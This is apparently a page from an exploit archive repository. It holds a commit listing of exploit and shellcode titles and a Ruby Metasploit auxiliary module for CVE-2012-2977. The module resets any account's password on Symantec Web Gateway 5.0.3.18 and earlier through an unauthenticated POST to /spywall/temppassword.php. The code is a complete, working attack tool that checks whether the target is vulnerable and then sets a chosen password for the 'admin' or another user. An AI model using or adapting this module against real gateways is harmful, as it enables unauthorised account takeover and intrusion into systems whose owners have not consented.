
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
93 lines
No EOL
2.5 KiB
Ruby
Executable file
93 lines
No EOL
2.5 KiB
Ruby
Executable file
##
|
|
# @_Kc57
|
|
# Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change",
|
|
'Description' => %q{
|
|
This module will change the password for the specified account on a Symantec Web Gatewaye server.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Version' => "$Revision: 0 $",
|
|
'Author' =>
|
|
[
|
|
'Kc57',
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-2977' ],
|
|
[ 'OSVDB', '0' ],
|
|
[ 'BID', '54430' ],
|
|
[ 'URL', 'https://www.securityfocus.com/bid/54430' ],
|
|
],
|
|
'DisclosureDate' => "Jul 23 2012" ))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('USER', [ true, 'The password to reset to', 'admin']),
|
|
OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
|
|
print_status("Attempting to connect to https://#{rhost}/spywall/temppassword.php to reset password")
|
|
res = send_request_raw(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => '/spywall/temppassword.php',
|
|
}, 25)
|
|
|
|
#check to see if we get HTTP OK
|
|
if (res.code == 200)
|
|
print_status("Okay, Got an HTTP 200 (okay) code. Checking if exploitable")
|
|
else
|
|
print_error("Did not get HTTP 200, URL was not found. Exiting!")
|
|
return
|
|
end
|
|
|
|
#Check to if the temppassword.php page loads or if we are redirected to the login page
|
|
if (res.body.match(/Please Select a New Password/i))
|
|
print_status("Server is vulnerable!")
|
|
else
|
|
print_error("Target doesn't seem to be vulnerable!")
|
|
return
|
|
end
|
|
|
|
print_status("Attempting to exploit password change vulnerability on #{rhost}")
|
|
print_status("Attempting to reset #{datastore['USER']} password to #{datastore['PASSWORD']}")
|
|
|
|
data = 'target=executive_summary.php'
|
|
data << '&USERNAME=' + datastore['USER']
|
|
data << '&password=' + datastore['PASSWORD']
|
|
data << '&password2=' + datastore['PASSWORD']
|
|
data << '&Save=Save'
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => '/spywall/temppassword.php',
|
|
'data' => data,
|
|
}, 25)
|
|
|
|
if res.code == 200
|
|
if (res.body.match(/Thank you/i))
|
|
print_status("Password reset was successful!\n")
|
|
else
|
|
print_error("Password reset failed! User '#{datastore['USER']}' may not exist.\n")
|
|
end
|
|
else
|
|
print_error("Password reset failed!")
|
|
end
|
|
end
|
|
|
|
end |